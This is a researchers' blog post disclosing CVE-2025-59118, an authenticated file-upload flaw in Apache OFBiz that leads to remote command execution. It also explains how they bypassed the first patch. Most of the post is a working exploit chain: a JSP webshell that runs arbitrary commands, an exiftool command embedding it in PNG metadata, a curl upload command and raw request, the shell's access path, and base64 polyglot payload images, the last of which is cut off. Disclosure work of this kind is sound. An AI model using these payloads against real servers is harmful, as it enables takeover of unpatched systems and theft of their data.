CVE-2025-59118 - POC from the authors :: Red Hive

Today we’re going to dive into CVE-2025-59118, the critical CVE affecting Apache OfBiz that we found in 2025.

Why did we write this article?

Because we were delighted [/s] to see plenty of plainly wrong articles about this CVE, which boasted WRONG AI-hallucinated proofs of concept and added chaos and fake information about this CVE. We had to do something.

Also, the CVE is critical. The vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L, which grants it a 7.3 HIGH severity, is wrong.
The correct vector should be CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, which grants it a 9.9 CRITICAL severity.
This is because:

The Required Privileges are LOW, not NONE: you have to use a user with low privileges;
The Scope changes, because then you can access the underlying Operative System;
The Confidentiality, Integrity and Availability should be HIGH, because you know, this is a RCE.

What is CVE-2025-59118?

CVE-2025-59118 is a Remote Command Execution (CVE) via Unrestricted File Upload in Apache ofBiz < 24.09.03.
How did we find it? by looking into the source code on GitHub without the AI helping us, like in the old times.

The Timeline

First disclosure by us: 29th of August, 2025
First response from the devs: 3rd of September, 2025
Vulnerability confirmed and CVE number reserved: 9th of September, 2025
First patch by the devs: 10th of September, 2025
Bypass of the first patch by us: 11th of September, 2025
Second patch by the devs: 19th of September, 2025

The vulnerability (first POC)

The vulnerability is in /catalog/control/addImageForProduct, which can be used by any authenticated user having at least the following permissions:

CATALOG_CREATE
CONTENTMGR_CREATE
CONTENTMGR_UPDATE

An attacker can navigate to that page and upload one or more image:

The application in this case only validates the declared MIME type of the uploaded file (image/png or similar is needed) and does not enforce restrictions on file extension.

The limitation? The image MUST be valid, or the upload will fail. There’s a catch tho: valid images can also, in some circumstances, also be valid JSP files (they call them polyglot files). How? Well, that’s what image metadata exist for!

By embedding a JSP webshell within the Exif extcomment field of an uploaded valid image, the attacker can bypass the check.

Let’s say we use the following base64-encoded image, warningcurl.png, as the starting valid image:

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
PhewAAAAASUVORK5CYII=

Here the exiftool command to embed the webshell (where warningcurl.png is the image to use):

exiftool -Comment='<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr = dis.readLine();}out.println("<script>document.body.innerHTML = ``;document.write(atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`));document.close();</script>");return;}%>' warningcurl.png

and the Curl command to upload it (valid values for JSESSIONID and productId are required):

curl -sk -b $'JSESSIONID=[SNIP]'-F "productId=[SNIP]" -F "[email protected];filename=warningcurl.jsp;type=image/png" https://localhost:8443/catalog/control/addImageForProduct

This is an example request (RAW format) showing how the image containing the webshell is uploaded (notice how we changed the extension from .png to .jsp):

POST /catalog/control/addImageForProduct HTTP/2 
Host: localhost:8443 
Cookie: JSESSIONID=[SNIP];
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDDW4l0NGJhqdkBnE 

------WebKitFormBoundaryDDW4l0NGJhqdkBnE 
Content-Disposition: form-data; name="productId" 
 
[SNIP]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE 
Content-Disposition: form-data; name="additionalImageOne"; filename="warningcurl.jsp" 
Content-Type: image/png 
 
[IMAGE CONTENT]
------WebKitFormBoundaryDDW4l0NGJhqdkBnE--

After the upload, the webshell will be accessible at the following endpoint:

/images/products/management/[PRODUCT-ID]/warningcurl.jsp?cmd=id

Once uploaded, the webshell file becomes directly accessible and executable without requiring authentication. We should warn you that PNG images may contain data within their content that may break the JSP syntax.

This is the “stuffed” base64-encoded image we used for this POC:

iVBORw0KGgoAAAANSUhEUgAAAOoAAADYCAMAAADS+I/aAAAAyVBMVEX/////zAAAAAD/zwDd3d3U1NRfX1/YrAD/1AD/0QD/0AD/0wD/1gD6+
vrv7+/19fWrq6vExMSjo6PLy8vo6Ohqamqurq4mJibw8PC6urpTU1OTk5OEhITh4eHmuAB0dHRBQUGHh4ebm5tLS0siIiI1NTUbGxtzXAD3xg
B6enpubm4uLi7PpQCMcAC+mAAPDw9NPgCvjAClhABqVQA/MgCYegCPcgCAZwBSQgDDnAAYEwAwJgDrvAAmHgBlUQBcSQAjHAA4LQAQDAD+JnW
TAAACW3RFWHRDb21tZW50ADwlQCBwYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YS5pby4qIiU+PCVpZiAocmVxdWVzdC5nZXRQYXJhbWV0
ZXIoImNtZCIpICE9IG51bGwpIHtTdHJpbmcgYWxsPSJDb21tYW5kOiAiICsgcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpICsgIjxCUj4iO
1Byb2Nlc3MgcCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKTtPdXRwdXRTdHJlYW0gb3
MgPSBwLmdldE91dHB1dFN0cmVhbSgpO0lucHV0U3RyZWFtIGluID0gcC5nZXRJbnB1dFN0cmVhbSgpO0RhdGFJbnB1dFN0cmVhbSBkaXMgPSB
uZXcgRGF0YUlucHV0U3RyZWFtKGluKTtTdHJpbmcgZGlzciA9IGRpcy5yZWFkTGluZSgpO3doaWxlICggZGlzciAhPSBudWxsICkge2FsbCs9
ZGlzcjtkaXNyID0gZGlzLnJlYWRMaW5lKCk7fW91dC5wcmludGxuKCI8c2NyaXB0PmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gYGA7ZG9jd
W1lbnQud3JpdGUoYXRvYihgIitCYXNlNjQuZ2V0RW5jb2RlcigpLmVuY29kZVRvU3RyaW5nKGFsbC5nZXRCeXRlcygiVVRGLTgiKSkrImApKT
tkb2N1bWVudC5jbG9zZSgpOzwvc2NyaXB0PiIpO3JldHVybjt9JT5rHtKqAAAMvElEQVR4nO2dZ3ubPBSGDc6wDdmr2Ymb2eykeTPadP3/H/W
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

Bypassing the first fix

The OfBiz devs (smart and very friendly folks I should add) were rapidly informed and applied a patch right away.

The patch basically cleared the image of any harmful metadata that could carry malicious payloads, so our first payload does no longer work.

But well, metadata are not the only way to inject a payload in an image. The image data ALSO is a way to achieve the same result, albeit being much harder: gotta be a l33t to do so.

How did we do it? We used the tweetable-polyglot-png Python script by DavidBuchanan314:

python3 pack.py warningcurl.png webshell.jsp warning_plusplus.png

where warningcurl.png is the valid image we used to build the first POC, warning_plusplus.png is the output result and webshell.jsp has the following content:

<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {String all="Command: " + request.getParameter("cmd") + "<BR>";Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {all+=disr;disr =dis.readLine();}out.println("><script>document.body.innerHTML = atob(`"+Base64.getEncoder().encodeToString(all.getBytes("UTF-8"))+"`);</script>");return;}%>

Note how it’s not a standard webshell, we had to change a couple of characters to avoid syntax errors in the resulting polyglot image.

The script’s output is a polyglot PNG image that is at the same time a valid PNG image and a valid JSP file.

Well, let’s say that this new arcane file works like a charm. We’ll let you have a try with it. This is the base64-encoded warning_plusplus.png image:

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
